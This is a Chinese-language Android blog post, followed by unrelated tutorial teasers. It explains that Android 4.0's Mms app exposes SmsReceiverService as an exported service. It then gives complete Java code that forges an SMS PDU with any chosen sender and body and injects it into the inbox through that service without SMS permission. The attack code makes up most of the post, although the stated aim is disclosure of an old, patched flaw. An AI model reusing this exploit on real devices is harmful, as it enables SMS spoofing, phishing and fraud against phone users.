編輯:Android開發教程
android4.0發布已經是很久很久很久很久以前的事情了,這個漏洞早就報了出來,之所以現在才寫這篇文 章,就是覺得,該升級的基本已經都升級了,該打補丁的基本都已經打了補丁,所以現在差不多是時候了。
原生android4.0系統中,Mms.apk的manifest有這樣一段
<service android:name=".transaction.SmsReceiverService"
android:exported="true" />
android:exported="true",意味著 SmsReceiverService這個Service暴露給了大家,也讓病毒有機可乘
在stackoverflow上面,有人早就 給出了偽造短信的方案,我們在這裡就直接使用人家的代碼好了
http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with- smsmessage-createfrompdu-gsm-3gpp
其中UCS-2處理是我新加上去的
private static void createFakeSms(Context context, String sender,
String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
// 時間處理,包括年月日時分秒以及時區和夏令時
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.MINUTE)));
dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.SECOND)));
dateBytes[6] = SmsUtil
.reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);// 短信服務中心長度
bo.write(scBytes);// 短信服務中心號碼
bo.write(0x04);
bo.write((byte) sender.length());// 發送方號碼長度
bo.write(senderBytes);// 發送方號碼
bo.write(0x00);// 協議標示,00為普通GSM,點對點方式
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class<?> cReflectedNFCExtras = Class
.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
body);
bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
// 下面是UCS-2編碼的處理,中文短信就需要用此種方式
bo.write(0x08); // encoding: 8 for UCS-2
bo.write(dateBytes);
bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是從系統中復制過來的,並不是我寫的
// 源碼具體位置在
// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
}
pdu = bo.toByteArray();
} catch (IOException e) {
Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
}
// 上面的部分都是組織短信數據,下面是將數據傳遞給SmsReceiverService,讓它來幫我們發送。雖然我們的程序沒有發送短信的權限,但是人家有啊!
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
}
public static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
Android簡明開發教程十一:自定義Adapter顯示列表
在介紹數據綁定時,我們使用了系統自帶的SimpleAdapter。Android 允許自定義Adapter ,理論上可以使用任意的View (Layout)來顯示數據。下
Android Studio 的 Preview窗口
Android Studio的功能包含preview窗口, 可以查看布局(layout)的樣式;位置: app->src->main->res(資源)-
Android LibGDX游戲引擎開發教程(九) 動畫類的使用
對於一款成功的游戲,動畫效果也是整個游戲中不可或缺的元素之一,那下面我們就來講解一下動畫類的 使用方法。一、Animation類1、Animation介紹該類存放在 co
Android開發入門(十九)數據庫 19.2 使用數據庫
DBAdapter已經創建好了,現在我們可以去使用數據庫了。下面的章節,將介紹常規的CRUD(增加,讀取, 更新,刪除)。往表中添加聯系人。1. 使用之前的項目,在Dat